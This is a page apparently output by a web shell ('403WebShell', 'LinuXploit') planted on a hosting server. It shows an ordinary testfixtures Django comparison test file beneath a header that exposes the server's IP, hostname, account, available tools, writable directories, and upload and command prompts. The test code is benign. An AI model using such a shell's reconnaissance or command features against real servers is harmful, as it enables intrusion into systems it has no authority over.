Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.12.163.23
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/testfixtures/tests/test_django/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/testfixtures/tests/test_django/test_compare.py
from unittest import TestCase

import pytest
from django.contrib.auth.models import User
from testfixtures import OutputCapture, Replacer
from .models import SampleModel
from testfixtures.tests.test_django.manage import main

from ..test_compare import CompareHelper
from ... import compare
from ...django import compare as django_compare


class CompareTests(CompareHelper, TestCase):

    def test_simple_same(self):
        django_compare(SampleModel(id=1), SampleModel(id=1))

    def test_simple_diff(self):
        self.check_raises(
            SampleModel(id=1), SampleModel(id=2),
            compare=django_compare,
            message=(
                'SampleModel not as expected:\n'
                '\n'
                'same:\n'
                "['value']\n"
                '\n'
                'values differ:\n'
                "'id': 1 != 2"
            )
        )

    def test_simple_ignore_fields(self):
        django_compare(SampleModel(id=1), SampleModel(id=1),
                       ignore_fields=['id'])

    def test_ignored_because_speshul(self):
        django_compare(SampleModel(not_editable=1), SampleModel(not_editable=2))

    def test_ignored_because_no_longer_speshul(self):
        self.check_raises(
            SampleModel(not_editable=1), SampleModel(not_editable=2),
            compare=django_compare,
            message=(
                'SampleModel not as expected:\n'
                '\n'
                'same:\n'
                "['created', 'id', 'value']\n"
                '\n'
                'values differ:\n'
                "'not_editable': 1 != 2"
            ),
            non_editable_fields=True
        )

    def test_normal_compare_id_same(self):
        # other diffs ignored
        compare(SampleModel(id=1, value=1), SampleModel(id=1, value=2))

    def test_normal_compare_id_diff(self):
        self.check_raises(
            SampleModel(id=3, value=1), SampleModel(id=4, value=2),
            compare=django_compare,
            message=(
                'SampleModel not as expected:\n'
                '\n'
                'values differ:\n'
                "'id': 3 != 4\n"
                "'value': 1 != 2"
            )
        )

    def test_manage(self):
        with OutputCapture() as output:
            with Replacer() as r:
                r.replace('os.environ.DJANGO_SETTINGS_MODULE', '', strict=False)
                r.replace('sys.argv', ['x', 'check'])
                main()
        output.compare('System check identified no issues (0 silenced).')

    @pytest.mark.django_db
    def test_many_to_many_same(self):
        user = User.objects.create(username='foo')
        django_compare(user,
                       expected=User(
                           username='foo', first_name='', last_name='',
                           is_superuser=False
                       ),
                       ignore_fields=['id', 'date_joined'])

Youez - 2016 - github.com/yon3zu
LinuXploit